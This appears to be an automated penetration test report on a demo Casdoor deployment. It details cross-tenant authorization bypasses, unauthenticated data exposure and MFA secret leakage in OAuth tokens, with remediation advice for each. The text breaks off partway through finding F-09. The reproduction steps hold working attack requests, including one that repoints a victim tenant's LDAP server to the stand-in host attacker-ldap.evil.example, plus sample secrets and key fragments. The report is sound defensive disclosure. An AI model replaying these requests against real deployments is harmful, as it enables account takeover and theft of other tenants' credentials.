

EVIDENCE-BACKED APPLICATION SECURITY

PENETRATION TEST REPORT

ASSESSED TARGET

REPOSITORY **niro-demos/casdoor**
TARGET URL **http://127.0.0.1:18000**

CONFIRMED FINDINGS

9 Critical · **12** High · **12** Medium · **0** Low

EVIDENCE DATE

2026-08-17

Contents

Business risk	2
Detailed findings	3
F-01 [CRITICAL] Cross-tenant LDAP config read and full hijack via forged owner segment in id parameter	3
F-02 [CRITICAL] Unauthenticated cross-tenant user record exposure via GET /api/get-user	4
F-03 [CRITICAL] SCIM Users API lets any org admin read and modify accounts in other organizations	6
F-04 [CRITICAL] Unauthenticated attacker bypasses login on /api/upload-resource via provider query param	8
F-05 [CRITICAL] OAuth access/id/refresh tokens embed raw password salt, TOTP seed, and recovery codes regardless of requested scope	10
F-06 [CRITICAL] Tenant admin can read the platform's global JWT-signing private key via /api/get-certs	12
F-07 [CRITICAL] Cross-tenant cert/model disclosure via `organization` query-param override in authz filter	14
F-08 [CRITICAL] Cross tenant admin reads plaintext provider secrets	16
F-09 [CRITICAL] Org admins can steal live session cookies of any user in their org via get-sessions and hijack accounts	17
F-10 [HIGH] No rate limiting or lockout on TOTP second-factor verification during login	17
F-11 [HIGH] Tenant admin can plant permission/adaptor/invitation records into another org via owner mismatch	19
F-12 [HIGH] Signup endpoint lets any application plant users into arbitrary other organizations	21
F-13 [HIGH] GET /api/get-subscription leaks any tenant's subscription records with no ownership check or authentication	23
F-14 [HIGH] SAML IdP endpoint delivers signed assertions to attacker-supplied ACS URL, not the app's registered ACS	25
F-15 [HIGH] Refresh-token grant issues new tokens for confidential OAuth client without validating client_secret	26
F-16 [HIGH] CAS proxy-ticket callback (pgtUrl) allows server-side request forgery to arbitrary internal hosts	28
F-17 [HIGH] Session ID not rotated on login (session fixation) via /api/login	30
F-18 [HIGH] Org-scoped tenant admin can invoke the global Casbin CLI command runner	32
F-19 [HIGH] Unpaginated GET /api/get-records leaks every organization's audit trail to any org admin	33
F-20 [HIGH] Login endpoint does not restrict application access to its own organization's members	35
F-21 [HIGH] CAS ticket issuance ignores the registered redirect-URI allow list enforced at pre-login check	37
F-22 [MEDIUM] Org-tenant admins can read platform-wide Prometheus metrics exposing other tenants' raw request paths and resource IDs	39
F-23 [MEDIUM] Cross-tenant adaptor access via mismatched id/adaptorId parameters on GET /api/get-policies	41
F-24 [MEDIUM] Authorization deny gate for /api/server/:owner/:name fails open on malformed request bodies	43
F-25 [MEDIUM] Tenant org-admin can trigger server-wide Casbin CLI engine download/install via /api/refresh-engines	45
F-26 [MEDIUM] Missing ownership check on POST /api/invoice-payment allows triggering invoicing on another user's payment	47
F-27 [MEDIUM] Unauthenticated draft product leak via get-products without pagination	49
F-28 [MEDIUM] Cross-tenant authorization data disclosure via userId parameter on get-all-roles/objects/actions	50
F-29 [MEDIUM] Cross-tenant order forgery via unchecked owner parameter on POST /api/place-order	52
F-30 [MEDIUM] OIDC discovery document and issued token `iss` claim are forged from client-supplied Host header	54
F-31 [MEDIUM] Cross-tenant coupon disclosure via /api/validate-coupon owner field	56
F-32 [MEDIUM] Token introspection endpoint discloses token metadata to unrelated OAuth clients	58
F-33 [MEDIUM] Standard users can write/wipe their own row in the admin-only session-tracking table	60
Testing limitations	63

Business risk

Attackers and even ordinary tenant admins can bypass login entirely: hijacking any user's live session, forging platform-wide authentication tokens via an exposed private key, stealing MFA secrets from OAuth tokens, and taking over accounts across every tenant. They can also read and overwrite other organizations' provider secrets, directory credentials, certificates, audit logs, profiles, and billing data, and tamper with files and records for any user, breaking tenant isolation entirely. This demands immediate attention, not routine review. The full report details affected systems, reproduction steps, and remediation.

Detailed findings

F-01 [CRITICAL] Cross-tenant LDAP config read and full hijack via forged owner segment in id parameter

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any tenant admin can read another tenant's internal directory server connection details (host, bind DN, username) and fully overwrite that record — redirecting it to attacker-controlled infrastructure or deleting it — giving them a path to harvest credentials submitted through the victim tenant's LDAP-backed login/sync flows and to disable the victim's directory integration entirely.

REPRODUCTION STEPS

Preconditions: two tenant-admin sessions — `TENANT_ALPHA_ADMIN` (`niro-alpha/admin`) and `TENANT_BETA_ADMIN` (`niro-beta/admin`) — obtained via `POST /api/login` with `application, organization, username, password, signinMethod=Password, type=login`.

1. As `TENANT_ALPHA_ADMIN`, create an LDAP server: `POST /api/add-ldap` with body `{"owner": "niro-alpha", "serverName": "vector-test-ldap", "host": "internal-ldap.alpha.local", "port": 389, "username": "cn=alpha-binduser,dc=alpha,dc=local", "password": "AlphaSecretPW123", "baseDn": "dc=alpha,dc=local"}`. Response returns the generated global id, e.g. `caaf87ae-9874-42ac-b9c9-5ff1271a29c1`.
2. As `TENANT_BETA_ADMIN`, confirm the direct path is blocked: `GET /api/get-ldap?id=niro-alpha/caaf87ae-9874-42ac-b9c9-5ff1271a29c1` → `{"status": "error", "msg": "Unauthorized operation"}` (real owner segment correctly denied).
3. As `TENANT_BETA_ADMIN`, forge the owner segment to the attacker's own org while keeping the real LDAP id: `GET /api/get-ldap?id=niro-beta/caaf87ae-9874-42ac-b9c9-5ff1271a29c1` → `200 OK` returning alpha's full config: `host=internal-ldap.alpha.local, username=cn=alpha-binduser,dc=alpha,dc=local, baseDn=dc=alpha,dc=local` (password masked as `***`, other fields plaintext).
4. As `TENANT_BETA_ADMIN`, hijack the record: `POST /api/update-ldap?id=niro-beta/caaf87ae-9874-42ac-b9c9-5ff1271a29c1` with body `{"id": "caaf87ae-9874-42ac-b9c9-5ff1271a29c1", "owner": "niro-beta", "serverName": "hijacked-by-beta", "host": "attacker-ldap.evil.example", "port": 389, "username": "cn=attacker", "password": "attackerpw", "baseDn": "dc=evil"}` → `200 OK {"data": "Affected"}`.
5. As `TENANT_ALPHA_ADMIN`, re-read `GET /api/get-ldap?id=niro-alpha/caaf87ae-9874-42ac-b9c9-5ff1271a29c1` → record now shows `owner: "niro-beta, host: "attacker-ldap.evil.example", username: "cn=attacker", baseDn: "dc=evil", serverName: "hijacked-by-beta"` — the alpha admin's own LDAP integration was fully overwritten by the beta admin without any shared ownership.

Repeated the full sequence (steps 1–5) a second time with a fresh LDAP record (`id=62d8c596-bbd2-4dc3-a530-49b5f09f25bf`) with identical results, confirming reproducibility.

Expected secure behavior: step 3 and step 4 should both return `"Unauthorized operation"` because the record's real `owner` is `niro-alpha`, not `niro-beta`, regardless of the owner segment supplied in the `id` query parameter or request body.

RECOMMENDED REMEDIATION

The vulnerability is in `object/ldap.go`. `GetLdap`, `UpdateLdap`, and `DeleteLdap` all key purely off the global `Id` field and never check the caller's tenant against the record's real `Owner`, while `controllers/ldap.go` (`GetLdap`, `GetLdapUsers`, `UpdateLdap`, `DeleteLdap`) parses the owner component out of the `id` param only to discard it before calling `object.GetLdap(name)`.

Follow the pattern already used for `Syncer` in `object/syncer.go`:

- Add an owner-scoped lookup, e.g. `GetLdapByOwner(owner, id string) (*Ldap, error)` that does `ormer.Engine.ID(id).Get(&ldap)` and then returns `nil` unless `ldap.Owner == owner` (mirroring `GetSyncerByOrganization's syncer.Organization != organization` check).
- In `controllers/ldap.go`, use the owner value already parsed by `util.GetOwnerAndNameFromIdWithError(id)` (currently discarded with `_`) to call the owner-scoped lookup instead of `object.GetLdap(name)`, for `GetLdap`, `GetLdapUsers`, and as the pre-check in `UpdateLdap/DeleteLdap`.
- In `object/ldap.go`, change `UpdateLdap's ormer.Engine.ID(ldap.Id).Cols(...).Update(ldap)` and `DeleteLdap's ormer.Engine.ID(ldap.Id).Delete(...)` to add `.Where("owner = ?", ldap.Owner)` (using the existing record's owner fetched via the pre-check, not the attacker-supplied owner in the request body) — matching `Syncer.UpdateSyncer's .Where("organization = ?", s.Organization)` and `DeleteSyncer's .Where("organization = ?", syncer.Organization)`.

F-02 [CRITICAL] Unauthenticated cross-tenant user record exposure via GET /api/get-user

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any anonymous caller can read the full profile record — email, phone, bcrypt password salt/type, admin flag, and organization membership — of any user in any organization/tenant, including users in tenants the caller has no relationship to, enabling mass exfiltration of the entire user directory and credential-cracking-support metadata with zero authentication.

REPRODUCTION STEPS

1. Send an unauthenticated request for a user in the `niro-beta` organization (a tenant unrelated to the caller):

```
curl -s -i "http://127.0.0.1:18000/api/get-user?id=niro-beta/alice"
```

Expected secure response: 401/403 with an authorization error (as is enforced on GET `/api/get-users?owner=niro-beta`, which returns "Unauthorized operation" for a cross-tenant caller).

Observed vulnerable response: HTTP/1.1 200 OK with the complete user record:

```
{
  "status": "ok",
  "data": {
    "owner": "niro-beta",
    "name": "alice",
    "email": "niro-beta-alice@example.test",
    "phone": "15555550201",
    "passwordSalt": "a0a3c851707b5ea401ee",
    "passwordType": "bcrypt",
    "displayName": "Niro Beta Alice",
    "isAdmin": false,
    ...
  }
}
```

2. Repeat the identical request; the same full record is returned again, confirming this is not transient — it is deterministic, unauthenticated cross-tenant disclosure.
3. Confirm the endpoint also accepts `?email=` and `?phone=` lookups, allowing an attacker to enumerate the full directory by known/guessed identifiers without any credential:

```
curl -s "http://127.0.0.1:18000/api/get-user?email=niro-beta-alice@example.test"
```

returns the same record.

4. Contrast with the protected built-in account, which correctly requires auth:

```
curl -s "http://127.0.0.1:18000/api/get-user?id=built-in/admin"
```

returns `{"status":"error","msg":"Please login first"}` — proving the access-control mechanism exists and works elsewhere in the codebase but is simply missing for this route/id pattern.

No credential was required for steps 1–4; this was also independently reproduced as a low-privilege authenticated standard user (`STANDARD_ALICE`, org `niro-alpha`) reading `niro-beta/alice`'s record cross-tenant with identical success, ruling out any org-scoping happening at the session layer.

RECOMMENDED REMEDIATION

In `authz/authz.go` (~line 66), the Casbin policy `p, *, *, GET, /api/get-user, *, *` makes the endpoint globally public. Scope this policy the same way `get-users` is scoped: either remove the wildcard policy and require the caller's owner to match the requested id's owner (or `isAdmin/isGlobalAdmin`), or add an explicit authorization check in `controllers/user.go GetUser()` (~line 146) before returning the record — e.g. call the same authorization helper used by `GetUsers` (the one that rejects `niro-alpha` admins from reading `niro-beta` users) and return `Unauthorized` operation when `requestUserId`'s owner differs from the target user's owner and the requester is not a global admin. Also strip `passwordSalt/passwordType` from any response payload returned to non-owner/non-admin callers, since that metadata should never be attacker-visible even for same-tenant reads that are otherwise legitimate for other business reasons.

F-03 [CRITICAL] SCIM Users API lets any org admin read and modify accounts in other organizations

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any organization admin (tenant-scoped admin, not the global admin) can enumerate, read, and mutate every user account in every other organization on the instance via the SCIM provisioning API — a complete tenant-isolation break. The same `PATCH` path also accepts a "password" field, giving a full account-takeover primitive against any other tenant's users.

REPRODUCTION STEPS

Pre-conditions: TENANT_ALPHA_ADMIN (identifier niro-alpha/admin) is an organization admin (IsAdmin=true) in organization niro-alpha only, not the global built-in admin. Target user for cross-tenant proof: niro-beta/bob in organization niro-beta.

1. Authenticate as the tenant admin:

```
POST http://127.0.0.1:18000/api/login
Content-Type: application/json
```

```
{"application": "app-niro-alpha", "organization": "niro-alpha", "username": "admin", "password": "<TENANT_ALPHA_ADMIN secret>", "signinMethod": "Password", "type": "login"}
```

Response 200, sets cookie casdoor_session_id.

2. List all SCIM users with that cookie (a properly-scoped implementation would return only niro-alpha users):

```
GET http://127.0.0.1:18000/scim/Users?count=100
Cookie: casdoor_session_id=<alpha-admin session>
```

Observed: HTTP 200 with 13 Resources, including niro-beta/bob, niro-beta/alice, niro-beta/admin (organization niro-beta) and built-in/admin (organization built-in), each with email and phone number, none of which belong to niro-alpha.

3. Fetch a single out-of-tenant user directly (a properly-scoped implementation would return 404):

```
GET http://127.0.0.1:18000/scim/Users/niro-niro-beta-bob
Cookie: casdoor_session_id=<alpha-admin session>
```

Observed: HTTP 200 with the full profile of niro-beta/bob (email niro-beta-bob@example.test, phone 15555550202, organization: niro-beta).

4. Modify that out-of-tenant user (a properly-scoped implementation would return 403/404, not apply the write):

```
PATCH http://127.0.0.1:18000/scim/Users/niro-niro-beta-bob
Cookie: casdoor_session_id=<alpha-admin session>
Content-Type: application/json
```

```
{"schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"], "Operations": [{"op": "replace", "path": "displayName", "value": "PWNER-BY-ALPHA-ADMIN-RUN1"}]}
```

Observed: HTTP 200, response body shows displayName and nickName changed to PWNER-BY-ALPHA-ADMIN-RUN1, and GET on the same resource afterward confirms the persisted change (lastModified timestamp updated).

Step 4 was repeated a second time with value PWNER-BY-ALPHA-ADMIN-RUN2 and again returned HTTP 200 with the change applied, confirming reproducibility. The record was then reverted to displayName/nickName = Niro Beta Bob to restore the fixture.

RECOMMENDED REMEDIATION

In `controllers/scim.go`, `HandleScim` discards the organization owner returned by `RequireAdmin()`:

```
_, ok := c.RequireAdmin()
```

`RequireAdmin()` (see `controllers/util.go`) returns the caller's organization/owner as its first value. This must be threaded through to the SCIM resource handlers so every lookup is scoped to the caller's own organization instead of being global:

1. Capture the owner: `owner, ok := c.RequireAdmin()`.
2. Pass owner into the SCIM server context (e.g. via `context.WithValue` on `c.Ctx.Request` before calling `scim.Server.ServeHTTP`), and only treat the caller as unrestricted (able to see all orgs) when owner indicates the global/built-in organization — mirroring how other admin APIs in this codebase distinguish global admin from org admin.
3. In `scim/user_handler.go`, update `GetAll` to call `object.GetGlobalUserCount(owner, "")` / `object.GetPaginationGlobalUsers(..., owner, "", "", "")` instead of passing an empty org filter, and update `Get`, `Delete`, and the `Patch/Replace` path to resolve the target user via an org-scoped lookup (e.g. `object.GetUser(owner, id)` or by verifying the resolved user's `Owner == owner` after `GetUserByIdOnly`, returning `errors.ScimErrorResourceNotFound(id)` when it does not match) before allowing read or write.

Keep the global built-in admin's existing unrestricted behavior; only org-scoped admins should be constrained to their own owner.

F-04 [CRITICAL] Unauthenticated attacker bypasses login on /api/upload-resource via provider query param

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any unauthenticated visitor who knows a configured Storage provider's name (an ordinary configuration used for avatar/ID uploads) can call the upload endpoint with attacker-chosen owner/user/tag values, reaching code that writes the file and updates that user's record, letting them overwrite the avatar, ID-verification images, or terms-of-use document of any user in any tenant with no credentials.

REPRODUCTION STEPS

Preconditions: a Storage-category provider exists (created here as global admin via `POST /api/add-provider` with `credential_id=GLOBAL_ADMIN`, `identifier=built-in/admin`, `name provider_storage_vector_test`, type Local File System — an ordinary admin action any deployment handling avatar/ID uploads performs).

1. Control request — confirm the endpoint normally requires auth. From a client with **no cookies/session**:

```
POST /api/upload-resource?owner=niro-alpha&user=bob&application=app-niro-alpha&tag=idCardFront&fullFilePath=/idcard/bob/idfront.png
(multipart file attached)
```

Response: `{"status":"error","msg":"Please login first"}` — expected secure behavior.

2. Same unauthenticated request, only adding `&provider=provider_storage_vector_test`:

```
POST /api/upload-resource?owner=niro-alpha&user=bob&application=app-niro-alpha&tag=idCardFront&parent=idCard&fullFilePath=/idcard/bob/idfront.png&provider=provider_storage_vector_test
(multipart file attached)
```

Observed: `{"status":"error","msg":"Casdoor fails to create folder: \"/files/idcard/bob\" for local file system storage provider: mkdir /files: permission denied. ..."} — the login gate is skipped entirely; the request reaches object.UploadFileSafe in controllers/resource.go UploadResource(), the real storage-write code path, using the attacker-supplied owner=niro-alpha, user=bob, tag=idCardFront.`

3. Isolate that the failure is unrelated to authentication: repeat the identical request while authenticated as `STANDARD_ALICE` (`niro-alpha/alice`) targeting her own avatar (`tag=avatar`) with the same provider — response is the exact same error `mkdir /files: permission denied`. This proves the local-disk permission issue in this test host affects authenticated and unauthenticated callers identically; the only distinguishing factor the code actually checks — `RequireSignedIn()` — was never invoked for the unauthenticated request in step 2.
4. Reproduced twice (step 2 run against `tag=avatar/user=bob` and again against `tag=idCardFront/user=bob`) with identical bypass behavior both times.

Root cause, `controllers/util.go GetProviderFromContext()`: when a provider query parameter (or `field=provider&value=...`, or a `Direct/<provider>/... fullFilePath` prefix) is present, the function looks the provider up directly via `object.GetProvider(util.GetId("admin", providerName))` and returns — `RequireSignedIn()` is only reached in the else branch when no provider is named. `controllers/resource.go UploadResource()` then trusts the unauthenticated caller's `owner/user/tag` and, on a successful `UploadFileSafe`, calls `object.UpdateUser(...)` to overwrite that user's Avatar, IdCardFront/Back/WithPerson, or triggers organization `termsOfUse` update — with no ownership or identity check between the caller and the targeted owner/user. In any deployment where the storage backend actually succeeds (S3/Azure/Aliyun OSS/MinIO, or a correctly-permissioned local path — the common production setup), this bypass results in full unauthenticated overwrite of another user's profile assets.

RECOMMENDED REMEDIATION

In `controllers/util.go`, `GetProviderFromContext()` must always authenticate the caller before resolving any provider, regardless of whether `provider/field+value/fullFilePath` was supplied. Move the `c.RequireSignedIn()` check to the top of the function (before the `providerName != ""` branch) so every code path — explicit provider name included — requires a valid session:

```
func (c *ApiController) GetProviderFromContext(category string) (*object.Provider, error) {
    userId, ok := c.RequireSignedIn()
    if !ok {
        return nil, errors.New(c.T("general:Please login first"))
    }

    providerName := c.Ctx.Input.Query("provider")
    ... // existing logic, using userId already obtained above
}
```

Additionally, in `controllers/resource.go` `UploadResource()`, after authentication verify the signed-in user is authorized to write to the requested owner/user (self, or an admin of that owner organization) before calling `object.UploadFileSafe/object.UpdateUser`, matching the authorization pattern already used elsewhere in the codebase (e.g. `c.requireProviderPermission` in `controllers/provider.go`) so a low-privileged authenticated user cannot overwrite another tenant's user assets either.

F-05 [CRITICAL] OAuth access/id/refresh tokens embed raw password salt, TOTP seed, and recovery codes regardless of requested scope

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any OAuth client a user authorizes, even one granted only "openid" scope, receives tokens containing the user's password salt, and once MFA is enabled, the raw TOTP seed and recovery code in plaintext. A holder of such a token can derive valid TOTP codes forever and use the recovery code for full account takeover, bypassing MFA entirely without touching the login page.

REPRODUCTION STEPS

Target is Casdoor. Every issued JWT (`access_token`, `id_token`, `refresh_token`) is built by `object.generateJwtToken -> getClaimsWithoutThirdIdp(claims)` in `object/token_jwt.go`, which serializes the entire `UserWithoutThirdIdp` struct (including `PasswordSalt`, `PasswordType`, `TotpSecret`, `RecoveryCodes`) for the default application. `TokenFormat == "JWT"`, independent of the scope value requested.

Reproduced twice against `niro-alpha/alice` (credential `STANDARD_ALICE`) via OAuth client `app-niro-alpha` (credential `APP_NIRO_ALPHA_OAUTH`):

1. Enable TOTP MFA on the account (self-service, proves the field is live):

```
POST /api/login
{"application":"app-niro-alpha","organization":"niro-alpha","username":"alice","password": "<STANDARD_ALICE_SECRET>","signinMethod":"Password","type":"login"}
POST /api/mfa/setup/initiate owner=niro-alpha&name=alice&mfaType=app
-> secret=PCQUWEQWMSX6UUMBRG5273YKNLVSI6E, recoveryCodes=["02780bb4-4319-49ed-87f5-e4cfbf65e976"]
POST /api/mfa/setup/enable
owner=niro-alpha&name=alice&mfaType=app&secret=PCQUWEQWMSX6UUMBRG5273YKNLVSI6E&recoveryCodes=02780bb4-4319-49ed-87f5-e4cfbf65e976 -> {"status":"ok"}
```

2. Log in completing the MFA challenge with a locally-computed TOTP code, then request an authorization code with the narrowest scope:

```
POST /api/login (username/password) -> "NextMfa"
POST /api/login {"mfaType":"app","passcode":"<computed TOTP code>","type":"login"} -> "ok"
POST /api/login?clientId=<APP_NIRO_ALPHA_OAUTH_IDENTIFIER>&responseType=code&redirectUri=http://localhost:19001/callback&scope=openid&state=xyz
{"application":"app-niro-alpha","organization":"niro-alpha","clientId":"<...>","type":"code"} ->
authorization code
```

3. Exchange the code:

```
POST /api/login/oauth/access_token
grant_type=authorization_code&client_id=<APP_NIRO_ALPHA_OAUTH_IDENTIFIER>&client_secret=
<APP_NIRO_ALPHA_OAUTH_SECRET>&code=<code>&redirect_uri=http://localhost:19001/callback
```

4. Base64-decode the payload of access_token, id_token, and refresh_token. Expected: with scope=openid (which entitles only sub), no profile/credential/MFA data. Observed in all three tokens on both runs:

```
{
  "scope": "openid",
  "passwordSalt": "bb99b83d09194ee5e595",
  "passwordType": "bcrypt",
  "totpSecret": "PCQUWEQWMSX6UUMBRG5273YKNLVSI6E",
  "recoveryCodes": ["02780bb4-4319-49ed-87f5-e4cfbf65e976"],
  "email": "niro-alpha-alice@example.test",
  "phone": "15555550101"
}
```

totpSecret is the exact live seed from step 1 (usable to generate valid 6-digit codes indefinitely), and recoveryCodes is the exact live recovery code -- either alone is sufficient to defeat MFA and take over the account. Test account MFA was disabled afterward via POST /api/delete-mfa/ to restore fixture state.

RECOMMENDED REMEDIATION

In `object/token_jwt.go`, `getUserWithoutThirdIdp` / `getClaimsWithoutThirdIdp` unconditionally copies every field of `User` (including `PasswordSalt`, `PasswordType`, `TotpSecret`, `RecoveryCodes`, `Ldap`, `ManagedAccounts`) into the token for the default `TokenFormat == "JWT"`, with no scope filtering. Two changes needed:

1. Strip authentication/MFA secrets before they ever reach a token: `PasswordSalt`, `PasswordType`, `Password`, `TotpSecret`, `RecoveryCodes` have no OIDC/OAuth claim mapping and are never legitimate token content. Zero them out (or drop them from a dedicated token-claims struct) inside `getUserWithoutThirdIdp`.
2. Make claim inclusion scope-aware for the default JWT format the same way `getClaimsCustom` already does for JWT-Custom: parse the granted scope string (profile, email, phone, address) and only populate matching claim groups, defaulting to just sub when only openid is granted, per the OIDC standard claim-to-scope mapping.

F-06 [CRITICAL] Tenant admin can read the platform's global JWT-signing private key via `/api/get-certs`

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any organization's tenant admin can retrieve the platform-wide JWT-signing certificate's unmasked RSA private key via their own org's certificate listing call, letting them forge valid JWT access tokens for any application on the platform relying on this built-in cert, achieving authentication bypass and impersonation across every tenant, not just their own.

REPRODUCTION STEPS

Preconditions: a valid tenant-admin session in any organization (isAdmin=true within that org, not the global built-in admin). Credentials TENANT_ALPHA_ADMIN (identifier niro-alpha/admin) and TENANT_BETA_ADMIN (identifier niro-beta/admin) were used.

1. Log in as the tenant admin:

```
POST http://127.0.0.1:18000/api/login
Content-Type: application/json

{"application": "app-niro-alpha", "organization": "niro-alpha", "username": "admin", "password": "<TENANT_ALPHA_ADMIN secret>", "signinMethod": "Password", "type": "login"}
```

Response: 200 {"status": "ok", "data": "niro-alpha/admin", ...} with a session cookie set.

2. Using that session cookie, call the org-scoped cert listing endpoint for the tenant's own org:

```
GET http://127.0.0.1:18000/api/get-certs?owner=niro-alpha
Cookie: <session cookie from step 1>
```

Expected secure response: data[] should contain only certs owned by niro-alpha, and any cert not owned by the caller's org should have its privateKey field masked/omitted.

Observed vulnerable response: data[] contains, in addition to niro-alpha's own cert, a second entry:

```
{ "owner": "admin", "name": "cert-built-in", "scope": "JWT", "privateKey": "-----BEGIN RSA PRIVATE KEY-----
\nMIIJKgIBAAKCAgEAYLlZqk+h1DgoZlqoOnVbSAMjYrP0QteY5E3bHdsftggGDRuV...==\n-----END RSA PRIVATE
KEY-----\n" }
```

This is the platform's globally-owned cert-built-in (owner=admin) with its full 3247-character unmasked RSA private key, used by Casdoor to sign JWTs for applications platform-wide that have no dedicated cert.

3. Repeated with a second, independent tenant-admin account (TENANT_BETA_ADMIN, identifier niro-beta/admin) calling GET /api/get-certs?owner=niro-beta: response again returned owner: "admin", name: "cert-built-in" with the same 3247-character unmasked private key. Confirms the leak is reproducible and not scoped to a single account.

RECOMMENDED REMEDIATION

In `object/cert.go`, `GetCerts(owner)` unconditionally queries `WHERE owner = 'admin' OR owner = ?`, merging every globally-owned cert into any org's cert list regardless of caller privilege. In `controllers/cert.go`, `GetCerts` only masks secret fields (`privateKey`, etc.) when `!c.IsAdmin()`, but `IsAdmin()` (in `controllers/base.go`) returns true for any org-level admin (`user.IsAdmin`), not only the platform's built-in global admin.

Fix at the call site in `controllers/cert.go` `GetCerts`: replace the `IsAdmin()` check used for masking with a check that specifically identifies the platform's built-in global admin (e.g. an `IsGlobalAdmin()` / `IsBuiltInAdmin()` helper that checks `user.Owner == "built-in"` in addition to `user.IsAdmin`), so masking is applied whenever the requester is a tenant-scoped admin, even for certs whose `owner == "admin"`. Alternatively, restrict `object.GetCerts` so the `owner = 'admin'` merge only happens when the authenticated caller is the true global admin, and otherwise return only certs matching the requested `owner`. Either change must ensure `privateKey`/`privateKey`-equivalent fields are never serialized for certs the requester's org does not own.

F-07 [CRITICAL] Cross-tenant cert/model disclosure via `organization` query-param override in authz filter

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

An admin of one tenant organization can read any other tenant's own X.509 certificates — including cleartext RSA private keys usable to forge that tenant's JWTs — and any other tenant's Casbin authorization models, by adding an unrelated ``organization`` query parameter set to their own org, with no other bypass required.

REPRODUCTION STEPS

Preconditions: two tenant-admin accounts in separate Casdoor organizations — `TENANT_ALPHA_ADMIN` (`niro-alpha/admin`) and `TENANT_BETA_ADMIN` (`niro-beta/admin`). Target: `http://127.0.0.1:18000`.

1. Log in as `TENANT_ALPHA_ADMIN`:

```
POST /api/login
{"application": "app-niro-alpha", "organization": "niro-alpha", "username": "admin", "password": "<TENANT_ALPHA_ADMIN secret>", "signinMethod": "Password", "type": "login"}
```

Using that session, create a fresh cert and model owned by `niro-alpha` (not shared/global):

```
POST /api/add-cert?id=niro-alpha/vector-cert-1786993251 body:
{"owner": "niro-alpha", "name": "vector-cert-1786993251", "scope": "JWT", "type": "x509", "cryptoAlgorithm": "RS256", "bitSize": 2048, "expireInYears": 1}
POST /api/add-model?id=niro-alpha/vector-model-1786993251 body:
{"owner": "niro-alpha", "name": "vector-model-1786993251", "modelText": "[request_definition]\nr = sub, obj, act\n..."}
```

Both return `{"status": "ok", "data": "Affected"}`.

2. Log in as TENANT_BETA_ADMIN (niro-beta/admin, separate organization, no relation to niro-alpha's resources).
3. Baseline (expected/secure behavior): request the alpha cert without any override –

```
GET /api/get-cert?id=niro-alpha/vector-cert-1786993251
```

→ {"status": "error", "msg": "Unauthorized operation", "data": null} – correctly denied.

4. Exploit: append organization=niro-beta (the attacker's own org, unrelated to the requested resource's real owner niro-alpha):

```
GET /api/get-cert?id=niro-alpha/vector-cert-1786993251&organization=niro-beta
```

Observed (vulnerable): 200 OK with status: "ok" and full cert body, including "certificate": "-----BEGIN CERTIFICATE-----" and "privateKey": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA0JVswJidtTNZ..." in cleartext. Reproduced twice (identical result both times), confirming it is not a fluke.

5. Same pattern against the model:

```
GET /api/get-model?id=niro-alpha/vector-model-1786993251 ->
{"status": "error", "msg": "Unauthorized operation"}
GET /api/get-model?id=niro-alpha/vector-model-1786993251&organization=niro-beta -> 200 OK, full
modelText returned
```

Reproduced twice with identical result.

Root cause (routers/authz_filter.go, getObject(), GET-by-id branch):

```
owner, name, _ := util.GetOwnerAndNameFromIdWithError(id)
if organization != "" {
    return organization, name, nil // objOwner overridden by attacker-supplied query param
}
return owner, name, nil
```

The authorization object-owner is taken from the client-controlled organization query parameter instead of the real owner parsed from id. Casdoor's org-admin allow rule (user.IsAdmin && subOwner == objOwner) is then satisfied because the attacker sets organization to their own org. Downstream controllers/cert.go GetCert and controllers/model.go GetModel fetch the resource purely by the true id and never re-validate ownership against the caller's organization (unlike GetToken/GetSyncer, which do perform that secondary check).

RECOMMENDED REMEDIATION

In `routers/authz_filter.go`, `getObject()`, stop letting the client-supplied organization query parameter substitute for the real resource owner used in the authorization decision. For the GET-by-id branch, always derive `objOwner` from the parsed id (the owner returned by `util.GetOwnerAndNameFromIdWithError(id)`), and drop the `if organization != "" { return organization, name, nil }` override — that parameter should, at most, be used later by the handler to select which org's list to query, never to decide access to a specific id.

As defense in depth, add the same secondary ownership check that `controllers/token.go` `GetToken` and `controllers/syncer.go` `GetSyncer` already perform: after loading the cert/model by id in `controllers/cert.go` `GetCert` and `controllers/model.go` `GetModel`, verify `cert.Owner == requestedOwner` (or the caller's org for non-admin, non-global-owner resources) before returning it, and return `Unauthorized` operation otherwise.

F-08 [CRITICAL] Cross tenant admin reads plaintext provider secrets

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

A tenant organization admin can read the plaintext client secret of any provider belonging to a different organization by requesting its id, enabling impersonation of that organizations third party integrations.

REPRODUCTION STEPS

Step one log in as TENANT ALPHA ADMIN. Step two create a provider owned by niro alpha via add provider endpoint with a client secret value. Step three log in as TENANT BETA ADMIN. Step four call get provider with id equal to niro alpha slash the new provider name and withSecret equal to one. The response returns the plaintext client secret belonging to the alpha organization even though the caller only administers the beta organization. This was reproduced twice with identical results confirming the cross tenant secret disclosure is consistent and not a fluke.

RECOMMENDED REMEDIATION

Add an ownership check to `GetProvider` in `controllers/slash/provider.go` by calling the existing `requireProviderPermission` helper before returning the result and reuse the same ownership check inside `IsMaskedEnabled` so unmasking requires the caller to administer the specific providers owning organization rather than merely being an admin of any organization.

F-09 [CRITICAL] Org admins can steal live session cookies of any user in their org via get-sessions and hijack accounts

AFFECTED TARGET

<http://127.0.0.1:18000>

BUSINESS IMPACT

A tenant admin, a routine role given to org IT staff and not the platform global admin, can silently take over the live session of any user in their organization with no password or MFA.

REPRODUCTION STEPS

